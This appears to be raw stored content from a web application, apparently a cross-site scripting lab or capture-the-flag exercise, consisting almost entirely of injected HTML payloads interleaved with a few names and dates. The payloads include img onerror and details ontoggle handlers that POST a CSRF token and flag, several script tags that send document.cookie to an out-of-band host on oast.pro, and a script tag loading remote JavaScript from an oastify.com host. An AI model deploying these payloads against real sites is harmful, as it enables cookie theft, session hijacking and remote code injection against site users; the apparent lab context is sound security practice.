<script>document.documentElement.setAttribute('data-sevienen','cositas')</script>
<img id="pepinomarino" src="cyberautista" onerror="this.setAttribute('data-sevienen','cositas')">
<strong id="prueba-interpret-html">pepinomarino</strong>
pepinomarino
<b>pepinomarino</b>
<img src=x onerror=alert(document.domain)>
<img src=x onerror=fetch('/capture-xss',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded','X-CSRF-TOKEN':'vY7tljEr3QyIgRhZm7SfdgJAnf0a22QnhiO0x5Fr'},body:'flag=ACAD%7B66d77ed9bf646a68768d%7D'}).then(r=>r.text()).then(t=>alert(t))>
<img src=x onerror="alert(2)">
<img src=x onerror='fetch("/capture-xss",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded","X-CSRF-TOKEN":"vY7tljEr3QyIgRhZm7SfdgJAnf0a22QnhiO0x5Fr"},body:"flag=ACAD%7B66d77ed9bf646a68768d%7D"}).then(r=>r.text()).then(t=>alert(t))'>
<img src=x onerror="fetch('/capture-xss',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded','X-CSRF-TOKEN':'vY7tljEr3QyIgRhZm7SfdgJAnf0a22QnhiO0x5Fr'},body:'flag=ACAD%7B66d77ed9bf646a68768d%7D'}).then(r=>r.text()).then(t=>alert(t))">
<img src=x onerror="fetch('/capture-xss',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded','X-CSRF-TOKEN':'vY7tljEr3QyIgRhZm7SfdgJAnf0a22QnhiO0x5Fr'},body:'flag=ACAD%7B66d77ed9bf646a68768d%7D'}).then(r=>r.text()).then(t=>alert(t))">
<img src=x onerror="fetch('/capture-xss',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded','X-CSRF-TOKEN':'vY7tljEr3QyIgRhZm7SfdgJAnf0a22QnhiO0x5Fr'},body:'flag=ACAD%7B66d77ed9bf646a68768d%7D'}).then(r=>r.text()).then(t=>alert(t))">
<img src=x onerror="fetch('/capture-xss',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded','X-CSRF-TOKEN':'vY7tljEr3QyIgRhZm7SfdgJAnf0a22QnhiO0x5Fr'},body:'flag=ACAD%7B66d77ed9bf646a68768d%7D'}).then(r=>r.text()).then(t=>alert(t))">
durisimo
<script>fetch('//dakr457qeopr1eq9b4f0886z7x58khnsq.oast.pro/xss?c='+document.cookie)</script>
<script>fetch('https://dakr457qeopr1eq9b4f0886z7x58khnsq.oast.pro/xss?c='+document.cookie)</script>
<img src=x onerror=alert(document.domain)>
<script>document.title='XSS'</script>
<script>fetch('http://dakr457qeopr1eq9b4f0886z7x58khnsq.oast.pro/xss?c='+document.cookie)</script>
Nacho García Monge
15/09/2026
<details open ontoggle="fetch('/capture-xss',{method:'POST',headers:{'X-CSRF-TOKEN':document.querySelector('meta[name=\x22csrf-token\x22]').content,'Content-Type':'application/json'},body:JSON.stringify({xss:\x22stored\x22})}).then(r=>r.text()).then(t=>alert(t))">
test
<script>fetch('/admin')</script>
<script>alert(1)<script>
<script>alert(1)<script>
Oana Maria Arsinte
04/09/2026
<script src="https://3z35monfj09y5i8k0i7fbce7vy1ppodd.oastify.com/x.js"></script>